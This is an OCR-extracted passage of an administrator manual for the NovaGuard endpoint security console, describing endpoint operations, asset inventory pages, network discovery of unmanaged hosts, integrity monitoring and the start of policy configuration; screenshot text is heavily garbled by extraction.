Agent Bypass
ecrons i . ] . . 6149% =
4 DESKTOP00...  PC Ungroup... DOEQACAZ...  Windows 10 € UsedTotal 9.6 GBA...  Us
Disable Bypass
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1. Restart endpoints

You can restart one or more endpoints on the All Endpoints page, as

shown in the following figure.

All Assets (4 online / 4 in total)

Move to Other Group v Enable Agent v Remote Support Mave to This Group by IP Ardress More v ‘ Refresh
B No | Endpoint Name Endpaint Type | Agent Status Group MAC Address  0S Shut Endpoints Down
1 I DESKTOP-02..  PC ® Onine B goupt  FAI6-3E-09..  Window | ReStar Endpoints
X Send Message
2 B WINAEZRT1...  Server @ Online B goupt  FA16-3ESD.. Window
Export Endpoints
3 [& localnostlocald...  Server @ Online Ungroup...  FA-16-3E-83.. CentOS
Migrate Endpoints
4 - DESKTOP0O.. PC @ Online Ungroup...  00-EQ-4C-A3.. Windows w =... =~

Click Restart Endpoints to configure a restart policy.

Restart Endpoints X

(D) The system has automatically excluded the following devices from restart
due to unsupporied device types or statuses: macOS endpoints, Linux
endpoints, Windows Server series, and cffline endpoints.

Supports sending task to 1 online Windows PC endpoints

DESKTOP-CZH99IG  View More

* Notification

Preview Kl o

‘us
" Us
Cus

€ s

LLINoOTE

This applies to Windows endpoints only.

2. Shut down endpoints:
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You can shut down one or more endpoints on the All Endpoints page, as

shown in the following figure.

New More Local Manager (1 online / 3 in total)
MoveTo | v Enabie Agent Remole Support More | Refresh Support multiple o
B nNo  Endpoint Asset Type A I Shut Endpoints Down I IP Address
1 @ B WIN-PELABIBTUZV Servers i ~ReskarEndpoints 107410338
oo Send Message !
ints 2 .| DESKTOP-LCTKAMZ Host { n 10.74.103.18
Export Endpaints
achronization . 3 & debian Servers { n 10.64.5 129

Migrate Endpoints

Click Shut Endpoints Down to set a shutdown policy.

Shut Endpoints Down X

my

() The system has automatically excluded the following devices from shutdown
due to unsupported device types or statuses: macOS endpoints, Linux
endpoints, Windows Server series, and offline endpoints.

Supports sending task to 1 online Windows PC endpoints
DESKTOP-O2H399IG View More

* Notification

MAC A

FE-FC

FE-FC

FE-FC

LLINoTE

This applies to Windows endpoints only.

3. Send messages
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You can send messages to one or more endpoints on the All Endpoints page.

The procedure is as follows:

Step 1. On the Endpoint > Endpoint Groups > All Endpoints page, select
one or more endpoints, and then select Send Message to go to the Send

Message page, as shown in the following figure.

All Assets (4 online / 4 in total)

Move to Other Group ¥ Enable Agent v Remote Support Aove to z by IP Addres ‘ Mere ‘ Refresh

coriditions Shut Endpoints Down

Restart Endpoints
B No  Endpoint Name Endpoint Type  Agent Status Group I.. MAC Add

Send Message
1 1 DESKTOP-02H39IG PC @ oOniine Bigroupt 1. FA-18-3E

Export Endpoints
2 & WIN-AE2URTINIQE Server @ Online ﬂ group? 1... FA-16-3E

Migrate Endpoints

3 = localhest localdomain Server @ Oniine Ungroup... 1. FA-16-3E-0o. LEIIUS LITUA -

4 -~ DESKTOP-000OHDAL PC @ Oniine Ungroup... 1. 00-EQ-4C-A3.. Windows 10 % ...

Step 2. Enter the message content. Then, users of the selected endpoints will

receive the message, as shown in the following figure.

NovaGuard

Motification

send test

Step 3. Users can click the close (X) icon in the upper right corner to close the

message and click the notification icon shown in the following figure to view
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historical messages.

L]
NovaGuard Uptime: 1 days

No pending threats.

Scan Now >>

Security

G Events (Last 30 Days)

Ransomware Protection >
Realtime File Protection

@ Ransomware Honeypot

04718 14
3]

) Messages 2025.0 2:48:53

@

Security Engines: & @ = &

4. Export endpoints

ffo Scan completed today.
7,

Realtime Protections:
6 enabled

Speed Up & Free Up Space

& Dev Environment

Virus-infected filas were quarantined

Quarantine(167) Trust(0) Logs

To export an Excel file containing endpoint details, go to Endpoint > Endpoint

Groups, select the endpoints to be exported, and click More > Export

Endpoints, as shown in the following figure.

All Assets (4 online / 4 in total)

Move to Other Group =~ ™~ Enable Agent | v Remote Support | More v | Refresh
Shut Endpoints Down
Restart Endpoints
B No. | Endpoint Name Endpoint Type  Agent Status Group l... MAC Add 4
Send Message
1 ] DESKTOP-02H99IG PC @ Oniine B groupt 1. FA-16-3E !

Export Endpoints
2 = WIN-AEZJRTINIQE Server @ Oniine ﬂ group’ 1... FA-16-3E

Migrate Endpoints

3 = locaihost.localdomain Server @ Online ungroup... 1. FA-16-3E-0co...  vemus Lmux.

4 | DESKTOP-0O0HDAL PC @ Oniine Ungroup... 1. 00-E04C-A3... Windows10%&... ¢

4.5.1.6 Batch operation of terminals

1. To perform O&M operations (such as disabling, enabling, uninstalling,

removing, and bypassing the agent, and disabling agent bypass) and high-risk

operations (such as endpoint shutdown, endpoint restart, message

notification, and endpoint migration) to 100 or more endpoints, the

administrator must enter Confirm in the secondary confirmation dialog box.
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Disable Agent

Are you sure you want to disable the agent on the 1
selected devices?

The agent service on the devices will stop. Te restore security
protection, manually enable the agent service again

DESKTOP-0O2H99IG View Mare

Cancel

Are you sure you want to disable the agent
on the 1 selected devices?

2. To perform these O&M and high-risk operations on less than 100 endpoints,

the administrator must click OK in the dialog box.

Send Message X

@ The system has automatically excluded the following devices from shutdown
due to unsupperted device types or statuses: macOS$ endpoints, Linux
endpoints, Windows Server series, and offline endpoints.

Supports sending task to 2 online Windows PC endpoints
DESKTOP-02H99IG, DESKTOP-00CHDAL View More

* Noiification

test

4/300

__ Are you sure you want to send a message to
" 2 online Windows PC endpoints?

OK Cancel

4.5.2 Endpoint Inventory
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On the Endpoint Inventory page, you can view the statistics of all endpoints,

including the processes and ports, application assets, web assets,

installation packages and class libraries, and system information of

servers and office PCs.

Serverand PC

esses and Ports

Listening Ports 48

= Endp

3 Endpoint Inventory

2 Software 491
Web Assets

T WebApps 0

lass Lit
System Installation

E7  packages 478
System Informatior

3 oses 2

4.5.2.1 Listening Ports

(]

Processes

Database Apps

Websites

JAR Files

Users

104
0 A
0 [+ |
0 (2]
33 T&

Middleware 0 b&
Web Services 0 ]
Python Packages 36 =
Environment Variables 66 »

Software Metering

Web Frameworks

NPM Packages

Kemel Modules

Export

On the Listening Ports page, you can efficiently view and check open ports on

all endpoints as an administrator to identify and address risky ports by server

or host or from a holistic perspective, as shown below.

<« Listening Port
Ports. Endpoints
Expot | Refresh
No. Assetnfo Agent Status
1 = (localnostlocaldomain) @ Online
2 = (WIN-AE2JRTINIQE ® oniine
3 [=] (DESKTOP-02H99IG ® oniine
4 [=] (DESKTOP-000HDAL) @ Online

Group

Ungrouped Assets

groupt

groupt

Ungrouped Assets

Endpoint Type ¥

Owner

up

Listening Ports

The Ports tab, where you can view the number of endpoints with a specific

port open. To further analyze these endpoints, click the number in the

Endpoints Used/Blocked column to go to the View Details page, as shown

the following figure.

n
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View Details

Port 57062, udp

| ; .
gk Export () Refresh Endpeint Type
No. | Asset Info Agent Status Group Quwner
1 D.. @ Online ungrouped Assets

Group v || Status

Open Port | IP Address

Yes 0000

* || Assetinto, owner

Listening Process  Status

(pid: 12776) Unblocked

OnoTE

Block Port: To block the port of an endpoint, select the endpoint and click Block Port. To

unblock the port of an endpoint, select the endpoint and click Unblock.

Export: To export the endpoint details in the form of a table for further analysis by

administrators, click Export.

5. In the Endpoints tab, you can view the number of listening ports, status,

name, IP address, and group of each endpoint. To view the listening port

details or block the listening ports as needed, click the number in the

Listening Ports column, as shown in the following figure.

View Details

il DESKTOP-LCTK4M2 (10.74.102.18)

S 4 8
Export Refresh
No. Port Protocol

135 & tcp
2 445 @ tcp
3 3389 @ tcp
4 5985 tep
5 6080 tep
& 47001 tcp
7 49664 tcp
8 49665 tcp
9 49665 tep
10 48667 tcp

Agent Uninstalled

Protocol

Qpen Port IP Address
Yes 0.0.0.0
Yes 0.0.0.0
Yes 0.0.0.0
Yes 0.0.0.0
Yes 0.0.0.0
Yes 0.0.00
Yes 0.0.0.0
Yes 0.0.00
Yes 0.0.0.0
Yes 0000

Open Ports ¥ || Status

Listening Process

svchost.exe(pid: 836)

System(pid: 4)

svchost.exe(pid: 1056)

System(pid. 4)

chaos-agent exe(pid: 3680)

System(pid: 4)

wininit exe(pid: 472)

svchost.exe(pid 1240)

svchost.exe(pid: 1048)

spoolsv.exe(pid: 1888}

41 entries

Status

Unblocked

Unblocked

Unblocked

Unblocked

Unblocked

Unblocked

Unblocked

Unblocked

Unblocked

Unblocked

Entries per Page 50

Close
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4.5.2.2 Processes

On the Processes page, you can view all processes in the left-side list and the

details of endpoints hosting each process on the right, including the process

status, process ID, process path, CPU usage, memory usage, version,

username, parent process name, parent process ID, startup parameters, and

startup time.

& Processes

Processes

o[

abs_deployer.exe

A;phca(ionFrameH. -
B3
asset_collect.exe
conhost.exe

83

conhost.exe

es

4.5.2.3 Software

abs_deployer.exe

Server and PC

Export

No.

1

2

3

Refresh

Asset Info

Owner

(WIN-AE2JRTANIQE)

1 (DESKTOP-O2H99IC  amy

3 (DESKTOP-000HDA -

Status

Running

Running

Running

Proc.

7752

4488

5852

Process Path

C:\Program F

C:\Program F

C:\Program F

CPU Usage

Asset P

Memory Us.

16196kb

4536kb

14608kb

Version

On the Software page, you can view software distribution across all endpoints

Usema.

SYSTEM

SYSTEM

SYSTEM

sorted in descending order of the total number of installations and the number of

endpoints for each piece of software, as shown below.

<« Software

ExportAll Refresh

No. | Software Name

1 Athena EPP Agent

2 p

3 ac

4 autocont

5  automake

6  bash
7 bc
8 binutils

Status

Type

Antivirus App

Remote Control Service

System Software

System Software

System Software

System Software

System Software

System Software

System Software

System Software

System Software

System Software

Publisher

Sangfor Technologies

Versions

2

3

2

Endpoints

Operation

Add Metering Policie:

Add Metering Policie:

s

Add Met

Add Metering

Add Metering Policie:

Add Metering

Add Metering Policie:

Add Met

Add Metering

Add Metering Policie:

s

Add Metering Policie:

s per Page | 50
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To add metering policies, click Add Metering Policies. You can also enable
Authorization to issue a certain number of software licenses to specific

groups or endpoints and set a license expiration date.

Add Metering Rule pd
*Software Name Bandizip
*Process Mame bandzip.exe
Remarks
A

Authorization ‘:)
Licensed Groups (@ Select T

Licensed Endpoints (D | gefact

Licenses

Expiration Date

To view all the endpoints with a specific software installed, click the software

name, as shown in the following figure.

rdp

Endpoints

i Export QReiresh @ | Support muliple conditions a
No.  Version Endpont MAC Address Group Publisher Usemame nstallaion Path  Configuration File .| Time Installed ©  LastAccessed - | Associated Pro -

1 521620045 (] DESKTOP-LE7KAM. . FEFCFE27-2346 Ungrouped Endp... - sangfor 2003404411 View

2 61760016385  [§ WIN-PELAGIBTU2 . FEFCFESCAL. groupt - NETWORK SE..  CAWindowsiSyste 2023-09-2400:. View

You can also search for endpoints by software name or publisher and export

the search result to an Excel file.
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4.5.2.4 Database Apps

On the Database Apps page, you can view the summary and details of
database applications installed on all endpoints to assess whether security
measures such as version upgrades and application security enhancement are

needed, as shown below.

<« Database Apps

Database Apps Server and PC

ore data— No. | Assetinfo Usemame Config File Path Log File Path Listening Port  Protocol 1P Address Startup

The page includes the following elements:

1. Database application distribution across all endpoints is sorted in
descending order of the total number of installations and the number of
endpoints for each database application.

2. A database search box that supports searching by database name or
version, an endpoint search box that supports searching by port or
protocol, and an endpoint search box that supports searching by IP

address or username.

4.5.2.5 Middleware

On the Middleware page, you can view the summary and details of
middleware installed on all endpoints as an administrator to understand the

middleware types, versions, and quantities, as shown below.

< Middleware

Middleware apache

1 52107410338 WIN-PELAGIBTU2V Linda 2260 Cwamp\Apache2ibi, Ccm

The page includes the following elements:

1. Middleware distribution across all endpoints is sorted in descending order
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of the total number of installations and the number of endpoints for each
piece of middleware.

2. A middleware search box that supports searching by middleware name
and an endpoint search box that supports searching by asset IP address,

asset user, or binary path.

4.5.2.6 Web Apps

On the Web Apps page, you can view the summary and details of web

applications installed on all endpoints as an administrator, as shown below.

<« Web Apps

Web Apps

No.  Endpoint Service Type Website Domain Name Root Directory Virtual Path

The page includes the following elements:

1. Web application distribution across all endpoints is sorted in descending
order of the total number of installations and the number of endpoints

for each web application.

2. The plugin information of each web application on the endpoints.

3. A web application search box that supports searching by application

name.

4.5.2.7 Websites

On the Websites page, you can view the summary and details of websites

deployed on all endpoints as an administrator, as shown below.
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Websites localhost

Q= Endpoints

localnost Expot | Refresh

(=] No. | Endpoint 1P Address Usemame

localhost 0000 o0t

The page includes the following elements:

1. Website distribution across all endpoints is sorted in descending order of
the total number of installations and the number of endpoints for each
website.

2. The virtual directory information of each website on the endpoints.

Virtual Directory X
No. Virtual Path Physical Path File Owner File Group File Permission

Nvarfwvew/html| root root druwr-xr-x

3. A website search box that supports searching by port, protocol, or domain
name and an endpoint search box that supports searching by IP address

or username.

4.5.2.8 Web Services

On the Web Services page, you can view the summary and details of web

services installed on all endpoints as an administrator, as shown below.

Web Services apache

aiostlocaidomain oot usrisbinipd etcttpalcontittpd.cont

The page includes the following elements:

1. Web service distribution across all endpoints is sorted in descending order
of the total number of installations and the number of endpoints for each
web service.

2. A web service search box that supports searching by service name.

4.5.2.9 Web Frameworks

On the Web Frameworks page, you can view the summary and details of web

frameworks installed on all endpoints as an administrator, as shown below.
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Web Frameworks

' Endpoints

No. Endpoint Service Type Application Path

The page includes the following elements:

1. Web framework distribution across all endpoints is sorted in descending
order of the total number of installations and the number of endpoints
for each web framework.

2. A web framework search box that supports searching by framework name
or language and an endpoint search box that supports searching by

service type.

4.5.2.10 System Installation Packages

On the System Installation Packages page, you can view the summary and
details of system installation packages on all Linux endpoints as an

administrator, as shown below.

<« System Installation Packages

System Installation Packages acl

Q | s: Export Refresh - AssetlP ¥

e1 No.  Assetinfo Owner Version Package Type  Time Installed size Description

ot P A 3 (ocaiost localdomai - 22511267 1pm 2017.0804 180937 245K8 This package contal

alsa-firmware €1
alsa-lib €1
alsa-tools-firmware €1
apr €1

apr-util €1

The page includes the following elements:

1. System installation package distribution across all Linux endpoints is
sorted in descending order of the total number of installations and the
number of endpoints for each system installation package.

2. A system installation package filter according to the package type, and a
system installation package search box according to the asset IP, asset

user, or version.
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4.5.2.11 JAR Files

On the JAR Files page, you can view the summary and details of JAR files on all

endpoints as an administrator, as shown below.

<« JAR Files

JAR Files Export Refresh - - Assetlp v

alle No.  Assetinfo Owner Type Executable Version Absolute Path Oper.

The page includes the following elements:

1. JARfile distribution across all endpoints is sorted in descending order of
the total number of installations and the number of endpoints for each
JAR file.

2. AJARfile filter that supports filter by file type (application, system library,
web service library, and others). A JAR file that supports filter by
executability file and a JAR file search box that supports searching by

asset IP address, asset user, version, or absolute path.

4.5.2.12 Python Packages

On the Python Packages page, you can view the summary and details of

Python packages on all endpoints as an administrator, as shown below.

« Python Packages

Python Packages backports.ssi-match-hostname

Ql|es Export Refresh - - AssetlP ¥

ecknoriaisstvediell nsing 21 No.  Assetinfo Owner Version Absolute Path Scope

1 A ocalnost localdomain) - 3402 usriib/python2 7isite. global

hardet €1
igobj 81
decoratc €1

The page includes the following elements:

1. Python package distribution across all endpoints is sorted in descending
order of the total number of installations and the number of endpoints

for each Python package.
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2. A Python package filter based on the scope (user and global), a Python
package filter based on the Python version, and a Python package search
box that supports searching by asset IP address, asset user, version, or

absolute path.

4.5.2.13 NPM Packages

On the NPM Packages page, you can view the summary and details of NPM
packages on all endpoints as an administrator, as shown below.

<« NPM Packages

NPM Packages Export  Refresh v Assetip v

Q No. Asset Info Owner Version Absolute Path Scope App Operation Com.

The page includes the following elements:

1. NPM package distribution across all endpoints is sorted in descending
order of the total number of installations and the number of endpoints
for each NPM package.

2. An NPM package filter based on the scope (user and global); An NPM
package search box that supports searching by asset IP address, asset

user, version, absolute path, PID, or application operation command.

4.5.2.14 OS

On the OS page, you can view the summary and details of operating systems

on all endpoints as an administrator, as shown below.

| server Operating Systems | Host Operating Systems | Top 5 Installed Operating Systems

The page includes the following elements:

1. Distribution of different versions of server operating systems, distribution

of different versions of host operating systems, and top 5 installed
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operating systems.

In the Operating Systems tab, you can view the number of activated operating
systems and endpoints with the corresponding operating system installed. You
can click the number in the Activated OSes or Endpoints column to view
details or click Export to export the operating system information in Excel

format, as shown in the following figure.

View Details

Linux0s
7 1

a

() Refresh g Export

No. Asset info Group Owner OS Status Time Installed

1 10.74.40.133 (localhost localdo. Ungrouped Assets

2. Inthe Endpoints tab, you can view endpoint details such as the endpoint
IP address, group, operating system type, operating system version,
operating system status, installation time, and asset user, as shown in the

following figure.

« os
| Server Operating Systems | PC Operating Systems | Top 5 Installed Operating Systems
Windows 10 ——
2 ® CentOS Linux 7x... 1 2 R ) Windows Server 2. p— 1
® Windows Server 2. 1 Hindows 10
SenEres peios CentoS Linux 7 x...  pmm—— 1
) 1
Operating Systems ~ Endpoints
Expot | Refresh End-of-Support Windows Systems ® & e ~ | Group v osTye | osstatus ¥
No. | Assetinfo Group. Ouner os Version 0s Status Time Installed
1 81 3 (localhost.local. Ungrouped Assets - CentOS Linux 7 (Core) x86_64 7
2 B 4 (WIN-AE2JRTINL.  groupt Windows Server 2019 Standard ... 10.0.17763 NotActivated 2024-12.07 02:01:32
3 B2 8 (DESKTOP-02.  groupt amy Windows 167 sm 64 10019044 Not Actvated 20230720 19:12:38
¢ } (DESKTOP-00...  Ungrouped Assets Windows 10 =g’ x64 10.0.19045 Activated 2023-11-28 19:53:40

LONoTE

You can click Export to export the details in an Excel file for further analysis as an

administrator.

You can filter endpoints by endpoint type, group, operating system type, or status or directly

search endpoints in the search box.
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4.5.2.15 Users

On the Users page, you can check the user information of all endpoints to

minimize the risk exposure of endpoints as an administrator. The displayed

user information includes the account status, account type, account role,

password status, risk analysis, and risk alerts (such as hidden account, weak or

no password, suspicious root user, inactive user, login at night, and multiple IP

addresses), as shown in the preceding figure.

<«

Export

No.

1

2

Users

| Users by Role

® Root

® Admin

Refresh

Usemame

root

edr

cheewill

1234567890QWER.

root

® Non-ro:

ot 25

® Non-admin n

Asset Info

Status

Enabled

Enabled

Enabled

Enabled

Enabled

Status

| Users by Risk Type

o)

Users.

~ | Role b4
User Type

Local User
Local User
Local User
Local User

Local User

® Hidden Account

® Weak or No Pa.

Login at Night 0

® Multiple IP Add

Suspicious Roo

12V

Role

Root

Non-root

Non-root

Non-admin

Admin

The page includes the following elements:

1. The distribution of users by role, users by risk type, and users with old

passwords.

v Password Change

Risk Type

Multiple IP Addresses

Multiple IP Addresses

Weak or No Password

Weak or No Password

No Risk

| Users with Old Passwords

¥ LoginTime

Last Password Change

2023-06-29 08:00:00

2017-11-15 08:00:00

2017-12-16 08:00:00

2025-07-13 15:37:55

2023-07-20 19:23:08

Last Login

2025-07-14 14:09:48

2018-01-29 10:44:11

2025-07-12 23:34:37

2. Filter by the account status, account role, risk type, latest password

Operation

Login History

Login History

Login History

Login History

Login History

change, login time, and a search box that supports searching by endpoint

name, IP, or username. Click the endpoint name to go to the Endpoint

Details page, as shown in the following figure.
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< Endpoint Details

B localhost.localdomain(*, ) @ online
Asset Info
¥ Endpoint Details | Basics
Basics Endpoint Name:
Hardware Hostname:
Users AD Domain:
»  Task Info 1Pv4 Address:
Software

MAC Address:

Listening Ports Group:

Database Apps

Agent Install Time:

Websites

Last Connected:

Web Frameworks Last Login:

Web Services Last Online User:

Web Apps

Database Version
Environment Variables

Antivirus Databases:

4.5.2.16 Environment Variables

>
localhost localdomain &

localhost localdomain

FA-16-3E-83-F4-92 02-42-FF-AF-F7-E0,12-60-54-7D-30-E0

Ungrouped Assets

2025-04-01 17:42.03

2025-07-15 11:43.:57

2025-07-14 17:49:51

root

20250714020046

On the Environment Variables page, you can view the summary and details

of the environment variables of all endpoints as an administrator, as shown

below.
<« Environment Variables
Environment Variables ComSpec
Q|8+ Export Refresh
Comspec 23 No.  Assetinfo Owner
DriverData es 1 H (DESKTOP-000HDA4L)
EPS_INSTALL_ROOT EE 2 R I DESKTIRD2: 0 Ay,
NUMBER_OF_PROCESS es 3 o (WIN-AE2IRTIRNIGE]
os B3
Path 8s

The page includes the following elements:

- Asset 1P
Usemame Value

15173287086 C:\Windows\system32icmd exe

foot C:\Windows\system32\cmd.exe

exe

1. Environment variable distribution across all endpoints is sorted in

Type

System Variable

System Variable

System Variable

descending order of the total number of installations and the number of

endpoints for each environment variable.
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2. Anenvironment variable filter according to the environment variable type

and an environment variable search box that supports searching by asset

IP address, asset user, or environment variable value.

4.5.2.17 Kernel Modules

On the Kernel Modules page, you can view the summary and details of kernel

modules on all endpoints as an administrator, as shown below.

& Kemel Modules

Kernel Modules

ata_pix

binfmt_misc

The page includes the following elements:

ata_generic

Export

No.

1

Refresh

Asset Info

A

Owner

Path

flibimodules/3.10.0-514.26.

Version

0215

AssetIP

Dependent Modules De.

1 0

1. Kernel module distribution across all endpoints is sorted in descending

order of the total number of installations and the number of endpoints

for each kernel module.

2. An asset search box that supports searching by asset IP address, asset

user, module path, or module version.

4.5.2.18 Services

On the Services page, you can view the summary and details of services on all

endpoints as an administrator, as shown below.

<« Services

Services

a [e:]

abs_deployer

AJRouter

ALG

AppIDSvc

Appinfo

AppMgmt

AppReadiness

The page includes the following elements:

83

8s

83

8s

8s

Export

No.

1

2

3

abs_deployer

Refresh

Asset Info

Owner

amy

Status

Running

Running

Running

Usemame

SYSTEM

SYSTEM

SYSTEM

Executable File

co\program files\s

c:\program files\s

ci\program files's

Startup

AUTO

AUTO

AUTO

AssetIP

Startup Time

2025-07-14 2011

2025-07-14 15:2

2025-07-14 21:0

Description

Deployer Service

Deployer Service

Deployer Service

1. Service distribution across all endpoints is sorted in descending order of

the total number of installations and the number of endpoints for each
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service.

2. An asset filter according to the service status and an asset search box that

supports searching by asset IP address, asset user, or executable file path.

4.5.2.19 Startup Items

On the Startup Items page, you can view the summary and details of the

startup items of all endpoints as an administrator, as shown below.

« Startup ltems

Startup Items Windows Security notification icon

Q|| es Export  Refresh
Windows Security notificati. B3 No. Asset Info Owner
Microsoft OneDrive 82 1 = WIN-AE2JF
Intel(R) Arc(TM) Control 21 2w (DESKTOP-00OHDAL)
Microsoft Edge 21 3 H DESKTOP-02H99IG) amy
Program 21
Realtek HD Audio Universa 1

The page includes the following elements:

Usemame

Local Machine

Local Machine

Local Machine

Status

Enabled

Enabled

Enabled

AssetIP

Location

HKLM\SOFTWARE MicrosoftiWindows\Current

HKLM\SOFTWARE MicrosoftiWindows\Current

HKLM\SOFTWARE MicrosoftiWindows\Current

Publi

Microsoft C.

Microsoft C.

Microsoft C.

1. Startup item distribution across all endpoints is sorted in descending order

of the total number of installations and the number of endpoints for each

startup item.

2. An asset filter according to the service status and an asset search box that

supports searching by asset IP address, asset user, or registry location.

4.5.2.20 Scheduled Tasks

On the Scheduled Tasks page, you can view the summary and details of the

scheduled tasks of all endpoints as an administrator, as shown below.

< Scheduled Tasks
Scheduled Tasks Ohourly
Q| e+ Export  Refresh
Ohourly 21 No.  Assetinfo e
edr_agent 1 1A 3 (localnost localdomain
sysstat g1

The page includes the following elements:

Command/s.

run-parts /et

Status

Enabled

Asset P
Usemame Schedule
root 01 ¥

Time Generated

2016-03-31 23:09:47
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1. Scheduled task distribution across all endpoints is sorted in descending
order of the total number of installations and the number of endpoints
for each scheduled task.

2. An asset filter according to the status and an asset search box that

supports searching by asset IP address, asset user, or command/script.

4.5.2.21 Sharing

On the Sharing page, you can view the summary and details of shares on all
endpoints as an administrator, including the shared path and sharing status, as

shown below.

<« Sharing

Sharing ADMINS

a [e: Export || Refresn < || Asset

ADMINS 23 No.  Assetinfo Owner Shared Path Status Description

o8 es 1 28 10.13.1.4 WIN-AE2JRTINIQE) C:Windows Enabled Remote Admin

The page includes the following elements:

1. Sharing distribution across all endpoints is sorted in descending order of
the total number of installations and endpoints for each sharing.
2. An asset filter according to the sharing status and an asset search box that

supports searching by asset IP address, asset user, or shared path.

4.5.2.22 Registry

On the Registry page, you can view the summary and details of the registry

items of all endpoints as an administrator, as shown below.

<« Registry

Registry HKEY_CLASSES_ROOT!\.bat!

Qlles Export Refresh AssetlP ¥

23 No.  Assetinfo Owner Name Type Data

HKEY_CLA!

(WIN-AE2JRTINIQE = i
HKEY_CLASSES_ROOTI es 1 WIN-AE2JRT1NI (Default) REG_SZ batfile

2

HKEY_CLASSES_ROOT es 00HDAL) - (Default) REG_SZ batfile

iaoa &

HKEY_CLASSES_ROOTV es 3 (DESKTOP-02HE9IG) amy (Default) REG_SZ batfile
HKEY_CLASSES_ROOT! es

HKEY_CLASSES_ROOT\C. B3

The page includes the following elements:
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1. Registry item distribution across all endpoints is sorted in descending
order of the total number of occurrences and endpoints for each registry
itemn.

2. An asset search box that supports searching by asset IP address, name, or

data.

4.5.2.23 Connections

On the Connections page, you can view the summary and details of the

connections of all endpoints as an administrator, as shown below.

€ Connections

Connections 10.

@) Export Refresh AssetlP ¥

16 6 =B No.  Assetinfo Owner Local IP Add Local Port Protocol Remote Port Connected Pr.

The page includes the following elements:

1. Connection distribution across all endpoint IP addresses in descending
order of the number of connections and the number of endpoints
connected to each remote IP address.

2. An asset search box that supports searching by asset IP address, asset

user, local port, local IP address, remote port, or connected process.

4.5.2.24 Trusted Certificates

On the Trusted Certificates page, you can view the summary and details of

the trusted certificates of all endpoints as an administrator, as shown below.

1 19 (DESKTOP-02H99IG amy 1 A 63516 tcp 61182 nac_agent exe
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& Trusted Certificates

Trusted Certificates

sangfor CA

Sangfor Technologies Inc.

DigiCert Trusted G4 Code

Sangfor Intermediate CA

Sangfor Technologies Co.,Ltd

sase sangfor.com CA

a [&]

82

82

E1

E1

E1

sangfor CA
Export
No.  Assetinfo
1 = (DESKTOP-000HDAL)
2 = (DESKTOP-02H99IG)

Certificate Path

/sangfor CA

/sangfor CA

The page includes the following elements:

sangfor CA

sangfor CA

Issued By

Issued To Fingerprint Valid From
sangfor CA  30cf4075e7711 2021-11-15 20
sangforCA  30cf4075e7711 2021-11-15 20

Valid To

2121-10-22 20

2121-10-22 20

1. Trusted certificate distribution across all endpoints is sorted in descending

order of trusted certificate usage and the number of endpoints for each

trusted certificate.

2. An asset search box that supports searching by asset information, asset

user, certificate path, issuer, receiver, fingerprint, validation time, or

expiration time.

4.5.2.25 Trusted Root CA

On the Trusted Root CA page, you can view the summary and details of the

trusted root certificate authorities (CAs) of all endpoints as an administrator, as

shown below.

- Trusted Root CA

Trusted Root CA

AddTrust External CA Root

Class 3 Public Primary Cert

Copyright (c) 1997 Microsof.

DigiCert Assured ID Root CA

DigiCert Global Root CA

DigiCert High Assurance E

DigiCert Trusted Root G4

Microsoft Authenticode(tm)

Microsoft ECC Product Roo.

Microsoft ECC TS Root Cer

Es

83

83

8s

83

83

8s

83

B3

Export

No.

4

2

3

AddTrust External CA Root

AssetInfo
" (DESKTC
R (DESKTO
A WIN-AE2JRTINIQE)

Owner

The page includes the following elements:

Issued To

AddTrust Ext

AddTrust Ext

AddTrust Ext

Fingerprint

02af3e29143546860.

02faf3e29143546860.

02af3e29143546860.

Valid From

2000-05-30 18:48:38

2000-05-30 18:48:38

2000-05-30 18:48:38

|-
2020-05-30 18:48:38

2020-05-30 18:48:38

2020-05-30 18:48:38

1. Trusted root CA distribution across all endpoints is sorted in descending

order of the number of CAs and the number of endpoints for each CA.

2. An asset search box that supports searching by asset information, asset
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user, receiver, fingerprint, validation time, and expiration time.
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4.5.3 Endpoint Discovery

4.5.3.1 Unmanaged Endpoints

The Unmanaged Endpoint tab displays unmanaged endpoints (without the
NovaGuard agent installed) in the enterprise's internal network that are

proactively detected, as shown in the following figure.

Scan active hosts where no Endpoint Secure agent is installed
6 unmanaged endpoints detected.

Unmanaged Endpoint ®  Ignored

Bpot | Refies

o Encpantip os MAC Addross
1 105212 Lo
2 e L
3 e Lo
1062188 Windows
5 e Lo
6w Unux

osType

Detacton Wisthod Fist Detected

Last Detoctad Oparaton
NP TGP 20231017 150942 ws0Tsme2 e
NP TCP 20281047 150042 20231047 150942 lonore
NP TCP 20231047 150942 w07 5042 Ionore
map TP 20231017 150942 20231047 1509.42 ignore
NP TCP 20231047 150942 20231047 150942 Ignore
NP TGP 20231017 150942 20231017 150942 Ionore

1. Click Scan Now and set the following scan parameters to initiate a scan on

the internal network:

Scan Unmanaged Endpoints

Device :

Athena EPP Manager

Network Segment

Scan Method

NMAP
Protocol - (® TCP
Scan Port :

Optional. Enter a port number or a range (e.q

upp @

55535

1023 or 1- Separat

te multipte nun @

Collapse ~

Cancel

Device: Select NovaGuard manager or Endpoint. Only Linux endpoints with

the NovaGuard agent installed can initiate the scan if Endpoint is selected.
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LLNoTE

Selecting multiple Linux endpoints with the NovaGuard agent installed is recommended to

expedite the large-scale scanning.

Network Segment: Specify IP addresses, IP ranges, IP addresses and

netmasks in a network segment.

L INoTE

You can select a Protocol and specify a Scan Port in Advanced according to your needs.

2. Click OK. In the OK dialog box, read the content to fully understand the

risks and click OK to start the scan.

INoTE

You can click Cancel to terminate the ongoing scan.

3. After the scan, view the endpoints without the NovaGuard agent installed
on the page. To export the endpoint information in the form of a table for

further analysis by administrators, click Export or click Ignore to ignore it.

4.5.4 Integrity Monitoring

4.5.4.1 Hardware Changes

On the Hardware Changes page, you can view the hardware change time,
hardware type, original hardware specification, and new hardware

specification.
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Hardware Changes

Export Refresn =) - ~ | engpointTyipe  ~ | Group

No. | Hardware Endpoint Name Group Owner Action Specification New Specification Time Operation

Changes on the Hardware Changes page are change logs administrators have
not confirmed. Once an administrator clicks OK for a change log, the
corresponding change log can be queried only on the System > Logs > Control
Logs page.

Hardware Changes v Time 2025.07-09 000000 - 2025.07-1... ()

No. Time Endpoint Name 1P Address Hardware Action Specification New

4.6 Policies

4.6.1 General Policies

You can configure security policies for different groups in this module. Policy
settings include basic configurations, anti-malware, real-time protection, anti-
ransomware, trust list, general settings, vulnerability remediation, endpoint

control, and customization.

Go to Policies > General Policies to configure security policies for different

groups, as shown in the following figure.
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Basic Config Anti-Malware Realtime Protection Anti-Ransomuare Trust List General Settings Vuin Remediation Endpoint Control Customization

23 windows A Linux

You can configure security policies for endpoints running on different
